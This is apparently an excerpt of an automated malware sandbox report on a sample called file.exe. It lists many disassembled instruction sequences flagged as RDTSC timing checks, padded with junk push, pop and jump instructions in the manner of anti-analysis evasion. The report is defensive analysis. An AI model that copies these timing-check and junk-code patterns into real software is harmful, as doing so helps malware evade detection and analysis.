Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47878 second address: B4787E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B479CA second address: B479F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B853A64FCh 0x00000009 popad 0x0000000a jmp 00007F8B853A6509h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47B8B second address: B47B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47D20 second address: B47D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CA77 second address: B4CA7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CC85 second address: A9CC8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CC8A second address: A9CC96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CC96 second address: A9CCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8B853A64F6h 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CCA7 second address: A9CCAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5457E second address: B54582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5494C second address: B54968 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8B8538D980h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F8B8538D976h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54968 second address: B5496C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5496C second address: B54970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54AF0 second address: B54AF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54AF4 second address: B54AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54AFA second address: B54B0E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8B853A64F8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F8B853A64F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54B0E second address: B54B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B550E2 second address: B550E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B560A4 second address: B560A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DB3C second address: B5DB41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DB41 second address: B5DB54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B8538D97Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DE23 second address: B5DE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007F8B853A64F8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DE30 second address: B5DE41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B8538D97Bh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DE41 second address: B5DE57 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8B853A64F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DE57 second address: B5DE5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DE5E second address: B5DE64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E3AD second address: B6E3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8B8538D976h 0x0000000a jnp 00007F8B8538D976h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E3C0 second address: B6E3D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B853A64FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E3D0 second address: B6E424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8B8538D986h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8B8538D981h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007F8B8538D981h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8B8538D97Ah 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E424 second address: B6E428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E428 second address: B6E430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E430 second address: B6E437 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70759 second address: B70787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B8538D97Eh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8B8538D985h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70787 second address: B7078B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7078B second address: B707AE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8B8538D988h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B707AE second address: B707B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B707B4 second address: B707B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70942 second address: B70946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70946 second address: B7095C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D982h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7095C second address: B70971 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B853A6501h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7DEA5 second address: B7DECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D989h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7DECB second address: B7DED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7DED1 second address: B7DED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7DED5 second address: B7DEDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86A50 second address: B86A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8B8538D97Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86A60 second address: B86A65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86A65 second address: B86A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B856A7 second address: B856CA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8B853A64F6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8B853A6505h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B856CA second address: B856DD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 js 00007F8B8538D976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B856DD second address: B856E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8B853A64F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B856E7 second address: B85700 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D97Bh 0x00000007 jg 00007F8B8538D976h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B859F3 second address: B859F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B859F7 second address: B859FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B859FD second address: B85A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85CD5 second address: B85CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B8538D982h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85CED second address: B85D07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FAh 0x00000007 jg 00007F8B853A64F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85D07 second address: B85D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85D0B second address: B85D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85D24 second address: B85D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8B8538D976h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85D32 second address: B85D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F8B853A64F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85D43 second address: B85D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89674 second address: B89679 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8929C second address: B892A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B892A2 second address: B892A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90B4C second address: B90B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90B50 second address: B90B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90B54 second address: B90B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90B5A second address: B90B64 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8B853A64FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5451 second address: BA545D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F8B8538D976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB63D6 second address: BB63DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB63DA second address: BB63F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jo 00007F8B8538D976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F8B8538D97Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB63F7 second address: BB641A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007F8B853A64FAh 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8B853A64FBh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB641A second address: BB641E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB641E second address: BB6427 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6427 second address: BB6438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B8538D97Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6572 second address: BB6577 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6577 second address: BB65B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007F8B8538D976h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8B8538D987h 0x0000001a jl 00007F8B8538D982h 0x00000020 jnc 00007F8B8538D976h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB65B1 second address: BB65B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB65B5 second address: BB65D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F8B8538D97Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F8B8538D976h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB68B0 second address: BB68B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB68B4 second address: BB68E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D97Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8B8538D985h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB68E4 second address: BB68E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB68E8 second address: BB6919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jl 00007F8B8538D976h 0x0000000f pop ecx 0x00000010 pushad 0x00000011 jp 00007F8B8538D976h 0x00000017 jmp 00007F8B8538D97Bh 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jbe 00007F8B8538D976h 0x00000025 jnp 00007F8B8538D976h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6D8C second address: BB6DB7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F8B853A64FAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8B853A6509h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6DB7 second address: BB6DBD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB70AD second address: BB70C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 jmp 00007F8B853A64FEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB70C2 second address: BB70CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB71F5 second address: BB7211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8B853A6500h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7211 second address: BB7216 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA03D second address: BBA043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA043 second address: BBA051 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA051 second address: BBA05B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB899 second address: BBB89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB89D second address: BBB8A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEFE6 second address: BBEFF8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8B8538D976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F8B8538D976h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEFF8 second address: BBEFFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEFFE second address: BBF018 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8B8538D985h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0341 second address: 53C035A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C035A second address: 53C0377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0377 second address: 53C03DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov edx, 448F943Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F8B853A6504h 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F8B853A64FEh 0x0000001b xor al, 00000038h 0x0000001e jmp 00007F8B853A64FBh 0x00000023 popfd 0x00000024 mov ecx, 025F736Fh 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007F8B853A6502h 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C03DA second address: 53C03E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
